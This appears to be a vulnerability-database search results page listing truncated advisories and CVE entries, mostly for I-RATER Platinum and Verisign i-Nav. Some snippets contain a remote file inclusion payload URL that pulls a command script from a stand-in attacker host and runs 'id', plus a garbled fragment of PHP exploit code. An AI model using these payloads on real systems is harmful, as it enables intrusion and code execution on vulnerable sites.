8635 matches found
USN-302-1: Linux kernel vulnerabilities
An integer overflow was discovered in the doreplace function. A local user process with the CAPNETADMIN capability could exploit this to execute arbitrary commands with full root privileges. However, none of Ubuntu's supported packages use this capability with any non-root user, so this only...
CVE-2006-3021
Multiple cross-site scripting XSS vulnerabilities in BlueCollar i-Gallery 4.1 PLUS and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 n and 2 d parameters in a login.asp and the d parameter in b igallery.asp...
CVE-2006-3021
Multiple cross-site scripting XSS vulnerabilities in BlueCollar i-Gallery 4.1 PLUS and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 n and 2 d parameters in a login.asp and the d parameter in b igallery.asp...
CVE-2006-3021
CVE-2006-3021 describes multiple cross-site scripting (XSS) vulnerabilities in BlueCollar i-Gallery 4.1 PLUS and earlier. The issueable input vectors are the (1) n and (2) d parameters in login.asp and the d parameter in igallery.asp, allowing remote attackers to inject arbitrary web script or HT...
NFS client panic using O_DIRECT
The Linux Kernel before 2.6.15.5 allows local users to cause a denial of service NFS client panic via unknown attack vectors related to the use of ODIRECT direct I/O...
Microsoft Word object pointer memory corruption vulnerability
Overview A memory corruption vulnerability in Microsoft Word could allow a remote attacker to execute arbitrary code with the privileges of the user running Word. Description Microsoft Word contains a memory corruption vulnerability. According to Microsoft Security Bulletin MS06-027:When a user...
I-Nav VUpdater.Install ActiveX Buffer Overflow
The remote host contains an ActiveX control, 'VUpdater.Install', associated with Verisign I-Nav, which provides support for Internationalized Domain Names in Microsoft Internet Explorer, Outlook and Outlook Express that reportedly contains a buffer overflow vulnerability that arises when processi...
ZDI-06-014: Verisign I-Nav ActiveX Control Code Execution Vulnerability
ZDI-06-014: Verisign I-Nav ActiveX Control Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-06-014.html May 10, 2006 -- CVE ID: CVE-2006-2273 -- Affected Vendor: Verisign -- Affected Products: i-Nav ActiveX Control -- TippingPointTM IPS Customer Protection: TippingPoin...
Verisign I-Nav ActiveX Control Code Execution Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of the Verisign i-Nav ActiveX control. User interaction is required to exploit this vulnerability in that the target must visit a malicious web page. The specific flaw exists within the...
irater.txt
" ."target:" ."cmdshell:" ."cmd:" ."" .""; if !isset$POST'submit' echo $form; else $file = fopen "test.txt", "w+"; fwrite$file, ""; fclose$file; $file = fopen $target.$cmdshell, "r"; if !$file echo "Unable to get output.\n"; exit; echo $form; while !feof $file $line .= fgets $file, 1024.""; $tpos...
CVE-2006-2121
PHP remote file include vulnerability in admin/configsettings.tpl.php in I-RATER Platinum allows remote attackers to execute arbitrary code via a URL in the includepath parameter. NOTE: this is a different vector, and possibly a different vulnerability, than CVE-2006-1929...
Design/Logic Flaw
PHP remote file include vulnerability in admin/configsettings.tpl.php in I-RATER Platinum allows remote attackers to execute arbitrary code via a URL in the includepath parameter. NOTE: this is a different vector, and possibly a different vulnerability, than CVE-2006-1929...
CVE-2006-2121
PHP remote file include vulnerability in admin/configsettings.tpl.php in I-RATER Platinum allows remote attackers to execute arbitrary code via a URL in the includepath parameter. NOTE: this is a different vector, and possibly a different vulnerability, than CVE-2006-1929...
CVE-2006-2121
CVE-2006-2121 is a PHP remote file inclusion vulnerability affecting I-RATER Platinum, where an attacker can execute arbitrary code through a URL supplied in the include_path parameter in admin/config_settings.tpl.php. The NVD entry lists a MEDIUM base score (5.0) with network access and no authe...
[Kurdish Secure Advisory #1] I-RATER Platinum "Admin/configsettings.tpl.php" Remote File Include Vulnerability
Website : http://www.i-rater.com Risk : High Class : Remote References : http://www.securityfocus.com/bid/17623 Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend Remote Code : http://www.site.com/admin/configsettings.tpl.php?includepath=http://www.evilrox.com/cmd.txt?&cmd=id...
I-RATER.txt
Website : http://www.i-rater.com Risk : High Class : Remote References : http://www.securityfocus.com/bid/17623 Credits : B3g0k,Nistiman,Flot,Netqurd and all my friend Remote Code : http://www.site.com/admin/configsettings.tpl.php?includepath=http://www.evilrox.com/cmd.txt?&cmd=id...
I-RATER Platinum - 'Config_settings.TPL.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/17731/info I-RATER Platinum is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...
Remote file inclusion
PHP remote file inclusion vulnerability in include/common.php in I-Rater Platinum allows remote attackers to execute arbitrary PHP code via a URL in the includepath parameter...